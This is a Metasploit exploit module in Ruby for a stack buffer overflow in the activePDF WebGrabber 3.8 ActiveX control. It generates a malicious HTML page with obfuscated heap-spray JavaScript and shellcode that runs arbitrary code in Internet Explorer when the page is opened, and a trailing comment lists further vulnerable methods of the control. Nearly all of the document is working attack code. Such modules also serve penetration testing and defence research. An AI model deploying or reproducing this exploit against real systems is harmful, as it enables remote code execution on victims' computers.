##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = LowRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'activePDF WebGrabber ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in activePDF WebGrabber 3.8. When
        sending an overly long string to the GetStatus() method of APWebGrb.ocx (3.8.2.0)
        an attacker may be able to execute arbitrary code. This control is not marked safe
        for scripting, so choose your attack vector accordingly.

      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'OSVDB', '64579'],
          [ 'URL', 'http://www.activepdf.com/products/serverproducts/webgrabber/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => 'Aug 26 2008',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
      ])
  end

  def exploit
    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    content = %Q|<html>
<head>
<script>
try {
  var #{vname} = new ActiveXObject('APWebGrabber.Object');
  var #{rand1} = unescape('#{shellcode}');
  var #{rand2} = unescape('#{nops}');
  var #{rand3} = 20;
  var #{rand4} = #{rand3} + #{rand1}.length;
  while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
  var #{rand5} = #{rand2}.substring(0,#{rand4});
  var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
  while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
  var #{rand7} = new Array();
  for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
  var #{rand8} = "";
  for (#{var_i} = 0; #{var_i} < 800; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
  #{vname}.GetStatus(#{rand8},1);
} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
</html>
|

    content = Rex::Text.randomize_space(content)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(content)
  end
end

=begin

Other methods that are vulnerable.

[id(0x00000050), helpstring("Clean up after a WWWPrint call.")]
void CleanUp(BSTR ServerIPAddress, long ServerPort);

[id(0x00000055)]
BSTR Wait(BSTR IPAddress, long PortNumber, short WaitTime, BSTR AcceptedCommands);

...and probably more.
=end
